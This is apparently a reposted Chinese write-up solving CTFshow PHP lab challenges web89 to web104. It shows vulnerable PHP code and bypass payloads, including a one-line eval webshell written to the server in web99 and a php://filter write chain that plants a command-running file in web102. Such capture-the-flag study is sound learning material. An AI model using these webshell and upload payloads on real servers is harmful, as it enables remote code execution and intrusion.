CTFSHOW php 特性

web89 数组绕过正则


include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
get num
    if(preg_match("/[0-9]/", $num)){
是数字 就输出 no
        die("no no no!");
    }
    if(intval($num)){
如果是存在整数 输出 flag
        echo $flag;
    }
}

这个使用数组就可以绕过正则

这里学一下

PHP preg_match() 函数 | 菜鸟教程

?num[0]=1

 web90  ===的绕过


include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
} 

首先 我们输入一个 4476a 就可以绕过 第一个nonono

<?php
$num='4476a';
echo intval($num,0);

?>

这样 就绕过了 第二个 ===

也可以使用浮点型

<?php
$num=4476.1;
echo intval($num,0);

?>

也可以使用进制

intval($num,0)

设置第二个参数为0  如果识别到 0x 那么就自动 转为 16进制取整

<?php
$num=0x117c;
echo intval($num,0);

?>

web91   了解正则

include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
} 

 第一个if

/^phpA$/  以php为开头的字符串 并且以php结尾的字符串 就是php

/im 多行匹配和匹配大小写

第二个 就是 取消了多行匹配的机制 并且让我们

意思就是单行无法匹配到php开头的字符串

这个时候可以使用url编码的换行符 %0a

?cmd=%0aphp

web92 == 绕过

用之前的方法也可以

进制

 浮点型

 但是我们不能使用 4476a来绕过== 因为他不管比较的双方的类型

只要值相同就相同

我们输入 4476a  他读取到4476  就会和 另一方进行比较

这样 就绕不过去

科学计数法

但是我们可以使用字母e 因为在 计算机中 e有科学计数法的用法

当我们输入 4476e1 == 就会直接识别为 4476e1

绕过第一个 ==

web93 过滤字母

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    } 

能发现不能使用科学计数法了

浮点型

4476.1

 进制

我们使用八进制 因为八进制 只要识别到0开头就默认为八进制

 

 web94 strpos(字符串,字符)

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
匹配 所有字母 并且不区分大小写
        die("no no no!");
    }
    if(!strpos($num, "0")){
当 0 出现在开头 就报错
这里可能是想过滤 八进制
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    } 

题目想过滤八进制 但是 其实还是可以使用八进制

八进制

?num=  010574

前面添加一个空格即可

 浮点型

?num=4476.01

这题主要是注意函数

strpos(字符串,字符)  查找字符在字符串第一次出现的位置

所以这个函数就是找到0出现的位置 并且不能让0 在开头

但是我们可以空格绕过

web95 /[a-z]|\./i  正则过滤


include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
这里又重新过滤了 .  说明浮点型也不行了
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

那就只能使用

八进制

?num=  010574
?num=+010574

web96  路径读取、伪协议



highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
高亮 flag
这里可以判断 
    }


}

hightlight_file(高亮文件的绝对路径,返回值) 其中返回值可选

这里很明显要我们输入flag的路径

那我们测一下

./flag.php   ./表示在当前目录下
../html/flag.php      ../ 表示父级目录 然后访问html中的flag
php://filter/read/resource=flag.php 伪协议

 web97 数组绕过md5比较


include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?> 


通过数组可以绕过MD5的比较

 web98    三目运算符

https://www.cnblogs.com/echoDetected/p/13999517.html

https://www.cnblogs.com/NPFS/p/13798533.html

说是三目运算符

$_GET?$_GET=&$_POST:'flag'; 

如果get请求存在 那么就通过 post来覆盖掉get请求
这里意思 就是 如果$_GET为真 那么就执行$_GET=&$_POST  否则执行'flag'

$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag'; 

这两个就是 比对get 是否为 flag

如果get接受的参数值为 flag 那就设置&$_COOKIE和&$_SERVER为flag

highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__); 

如果get的参数为 http_flag 并且内容为 flag

那么就输出  http_flag的地址

所以这里我们 get的值不能为flag 不然就会设置get为空

然后我们设置post为 HTTP_FLAG=flag

web99  file_put_contents写入

highlight_file(__FILE__);
$allow = array();
设为数组
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
向尾部插入 rand(1,$i) 循环 54次
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
将post的content 写入 get的文件中
如果get不存在 那么就创建文件
}

?> 

这里发现可以写东西到服务器中

那我们就想到一句话木马

这里主要是 in_array 存在漏洞

如果 in_array 的第三个参数不设置为 true 就不会比较类型
我们输入 1.php  他会自动识别和 allow一样的类型

为 1 

这里我们看看

get: ?n=1.php
post: content=<?php @eval($_POST['a']);?>

 web100 优先级

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
提示我们 在 ctfshow类中
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
3个参数
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
第四个参数是 前三个相与

if($v0){
    if(!preg_match("/\;/", $v2)){
就是不能在v2中招到 分号;
        if(preg_match("/\;/", $v3)){
要在 v3中找到  分号;
            eval("$v2('ctfshow')$v3");
执行 v2 ('ctfshow')v3
这里 就发现v2 是命令 v3多半就分号 ;
        }
    }
    
}

第一个if判断

<?php
$v1=1;
数字
$v2="sb";
字符串
$v3=";";
字符
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); 
echo $v0;
?>


 

这里的原理是 = 大于 and 和 or

这样 v0=1 and 0 and 0 还是1

 这样就绕过了第一个if

我们知道了 两个的类型

v2 命令

v3分号

这样我们就看看

如何输出

var_dump() 可以用于识别类型 并且输出 表达式的类型和值

PHP var_dump() 函数 | 菜鸟教程

我们让v2=var_dump($ctfshow)

v3=;

这样就构造了

var_dump($ctfshow)('ctfshow');

 

 成功返回值了

我们继续尝试

?v1=1&v2=var_dump($ctfshow)&v3=;

 还有一个方式

就是

通过注释来绕过

 

payload1: ?v1=1&v2=var_dump($ctfshow)&v3=;
payload2: ?v1=1&v2=var_dump($ctfshow)/*&v3=*/;

 web101  反射API

这个 是关于面向对象

存在一个 反射api

ReflectionClass 用于输出 类的详细信息

创建方式为 new ReflectionClass

可以使用echo ReflectionClass("ClassName" ) 输出类的信息

这里就可以使用这个来

?v1=1&v2=echo new ReflectionClass&v3=;

最后需要爆破最后一位

最后一位是 6

 web102 PHP短开表达式 回调函数call_user_func



highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
从v2 的第二位开始读取
    $str = call_user_func($v1,$s);
然后使用回调函数
这里 $s会作为参数 被 $v1调用
这就是另一个调用函数的方式罢了
    echo $str;
    file_put_contents($v3,$str);
写入v3中
}
else{
    die('hacker');
}

这里我们首先要用v2来绕过 第一个if

这里介绍两个函数

bin2hex
和
hex2bin

这两个是 字符串 和 十六进制字符串 互相变换的函数

 我们思考 第一个if 需要是数字 然后绕过

那我们是不是可以生成一个 十六进制字符串 然后绕过

这里的读取命令是特殊构造的 需要绕过is_numeric()

可以通过科学计数法绕过

这里提及PHP短开表达式

<?=`cat *`;




<?=(表达式)?>
相当于
<?php echo (表达式);?>

然后我们通过伪协议 通过解密base64写入文件

以为这个特殊构造的命令是 要先base64加密 然后通过 bin2hex 转换字符串

就可以形成特殊的 科学计数法形式

 

 这里最后的= 可以删除 不删除就无法绕过

50 44 38 39 59 47 4e 68 64 43 41 71 59 44 73

然后可以开始写入

payload

get :   v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=34.php
       

post:   v1=hex2bin

 这样就绕过了

web103

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    if(!preg_match("/.*p.*h.*p.*/i",$str)){
        file_put_contents($v3,$str);
    }
    else{
        die('Sorry');
    }
}
else{
    die('hacker');
}

加了个过滤条件

但是还是可以通过 102的方式直接做

 web104 shal弱比较的绕过

highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
        echo $flag;
    }
} 

这里主要是 shal 的比较

其实shal和MD5一样 可以通过数组绕过

web105

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/56843.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

代码调试2:coco数据集生成深度图

代码调试:coco数据集生成深度图 作者:安静到无声 个人主页 问题1:图片存在异常,跳过不处理 在获取深度图的时候,直接执代码,会产生以下错误:RuntimeError和ValueError。 因此我重新修改了代码,如果出现以下两种错误,则执行下一次循环,代码如下: 修改之后代码可以…

二叉树的前,中,后序的非递归实现(c++)

前言 对于二叉树来说&#xff0c;遍历它有多种方式&#xff0c;其中递归遍历是比较简单的&#xff0c;但是非递归的实现就有一定的难度&#xff0c;在这里介绍一种非递归实现二叉树遍历的方式。 1.前序遍历 1.1思路 其实对于二叉树的非递归实现&#xff0c;实际上就是用代码来…

【JAVA】 javaSE中的数组|数组的概念使用

数组的概念 什么是Java中的数组 数组&#xff1a;可以看成是相同类型元素的一个集合。在内存中是一段连续的空间。在java中&#xff0c;包含6个整形类型元素的数组&#xff0c;可以看做是酒店中连续的6个房间. 1. 数组中存放的元素其类型相同 2. 数组的空间是连在一起的 3…

哪些情况下需要使用爬虫IP

不知道小伙伴们有没有遇到过这种场景&#xff1a;上网闲逛&#xff0c;看一些搞笑的视频或者想下载一些酷炫的文件&#xff0c;正点击呢&#xff0c;结果却发现被网站限制了&#xff0c;无法访问或者下载&#xff1f; 别急&#xff0c;今天我来告诉大家&#xff0c;如何借助使…

【JavaEE初阶】博客系统后端

文章目录 一. 创建项目 引入依赖二. 设计数据库三. 编写数据库代码四. 创建实体类五. 封装数据库的增删查改六. 具体功能书写1. 博客列表页2. 博客详情页3. 博客登录页4. 检测登录状态5. 实现显示用户信息的功能6. 退出登录状态7. 发布博客 一. 创建项目 引入依赖 创建blog_sy…

yolov3-spp 训练结果分析:网络结果可解释性、漏检误检分析

1. valid漏检误检分析 ①为了探查第二层反向找出来的目标特征在最后一层detector上的意义&#xff01;——为什么最后依然可以框出来目标&#xff0c;且mAP还不错的&#xff1f; ②如何进一步提升和改进这个数据的效果&#xff1f;可以有哪些优化数据和改进的地方&#xff1f;让…

页面技术基础-html

页面技术基础-html 环境准备&#xff1a;在JDBC中项目上完成代码定义 1. 新建一个 Module:filr->右键 -》Module -》Java-》next->名字(html_day1)->finish 2. 在 Moudle上右键-》第二个选项&#xff1a;add framework .. -> 选择JavaEE下第一个选项 Web Apllicat…

计及需求响应和电能交互的多主体综合能源系统主从博弈优化调度策略(Matlab代码实现)

&#x1f4a5;&#x1f4a5;&#x1f49e;&#x1f49e;欢迎来到本博客❤️❤️&#x1f4a5;&#x1f4a5; &#x1f3c6;博主优势&#xff1a;&#x1f31e;&#x1f31e;&#x1f31e;博客内容尽量做到思维缜密&#xff0c;逻辑清晰&#xff0c;为了方便读者。 ⛳️座右铭&a…

通向架构师的道路之apache_tomcat_https应用

一、总结前一天的学习 通过上一章我们知道、了解并掌握了Web Server结合App Server是怎么样的一种架构&#xff0c;并且亲手通过Apache的Http Server与Tomcat6进行了整合的实验。 这样的架构的好处在于&#xff1a; 减轻App Server端的压力&#xff0c;用Web Server来分压…

python——案例8:设定列表:listl=[0,1,2,3,4,5],求列表之和

案例8&#xff1a;设定列表&#xff1a;listl[0,1,2,3,4,5],求列表之和total0 list1[0,1,2,3,4,5] #列表lis1for ele in range(0,len(list1)):totaltotallist1[ele] print("列表中元素之和&#xff1a;",total) #输出结果

13 springboot项目——准备数据和dao类

13.1 静态资源下载 https://download.csdn.net/download/no996yes885/88151513 13.2 静态资源位置 css样式文件放在static的css目录下&#xff1b;static的img下放图片&#xff1b;template目录下放其余的html文件。 13.3 创建两个实体类 导入依赖&#xff1a;lombok <!…

1400*C. Computer Game

Example input 6 15 5 3 2 15 5 4 3 15 5 2 1 15 5 5 1 16 7 5 2 20 5 7 3 output 4 -1 5 2 0 1 解析&#xff1a; k个电&#xff0c; 第一种为 k>a 时&#xff0c;只玩游戏 k-a; 第二种&#xff0c;k>b,一边玩一边充电 k-b 问完成n轮游戏的情况下&#xff0c;优先第…

性能优化点

Arts and Sciences - Computer Science | myUSF 索引3层&#xff08;高度为3&#xff09;一般对于数据库地址千万级别的表 大于2000万的数据进行分库分表存储 JVM整体结构及内存模型 JVM调优&#xff1a;主要为减少FULL GC的执行次数或者减少FULL GC执行时间 Spring Boot程序…

摄像机sd卡格式化怎么恢复数据?简单五步轻松解决

在使用摄像机时&#xff0c;有时不慎将SD卡格式化&#xff0c;导致重要的照片或视频文件丢失。然而&#xff0c;不必惊慌&#xff0c;本文将详细解释如何恢复被格式化的摄像机SD卡上的数据&#xff0c;可通过下面提供的五步&#xff0c;轻松解决数据丢失问题&#xff0c;以确保…

在OK3588板卡上部署模型实现人工智能OCR应用

一、主机模型转换 我们依旧采用FastDeploy来部署应用深度学习模型到OK3588板卡上 进入主机Ubuntu的虚拟环境 conda activate ok3588 安装rknn-toolkit2&#xff08;该工具不能在OK3588板卡上完成模型转换&#xff09; git clone https://github.com/rockchip-linux/rknn-to…

【云原生】Kubernetes中deployment是什么?

目录 Deployments 更新 Deployment 回滚 Deployment 缩放 Deployment Deployment 状态 清理策略 金丝雀部署 编写 Deployment 规约 Deployments 一个 Deployment 为 Pod 和 ReplicaSet 提供声明式的更新能力。 你负责描述 Deployment 中的 目标状态&#xff0c;而 De…

基于RK3588+FPGA+AI算法定制的智慧交通与智能安防解决方案

随着物联网、大数据、人工智能等技术的快速发展&#xff0c;边缘计算已成为当前信息技术领域的一个热门话题。在物联网领域&#xff0c;边缘计算被广泛应用于智慧交通、智能安防、工业等多个领域。因此&#xff0c;基于边缘计算技术的工业主板设计方案也受到越来越多人的关注。…

python-爬虫作业

# -*- coding:utf-8 -*-Author: 董咚咚 contact: 2648633809qq.com Time: 2023/7/31 17:02 version: 1.0import requests import reimport xlwt from bs4 import BeautifulSoupurl "https://www.dygod.net/html/gndy/dyzz/" hd {user-Agent:Mozilla/4.0 (Windows N…

【雕爷学编程】Arduino动手做(180)---Seeeduino Lotus开发板2

37款传感器与执行器的提法&#xff0c;在网络上广泛流传&#xff0c;其实Arduino能够兼容的传感器模块肯定是不止这37种的。鉴于本人手头积累了一些传感器和执行器模块&#xff0c;依照实践出真知&#xff08;一定要动手做&#xff09;的理念&#xff0c;以学习和交流为目的&am…

学习系统编程No.33【生产消费模型】

引言&#xff1a; 北京时间&#xff1a;2023/7/22/14:27&#xff0c;现实和预期往往相差是巨大的&#xff0c;哈哈哈&#xff01;白天睡不醒&#xff0c;晚上睡不着&#xff0c;就像一个夜猫子一样。熬夜耍手机&#xff0c;我真的是专业的&#xff0c;已经连续好久没有正常睡过…
最新文章